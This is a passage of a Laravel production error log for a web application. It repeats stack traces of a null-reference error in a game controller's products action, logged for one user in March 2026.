#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:51:05] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:51:11] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
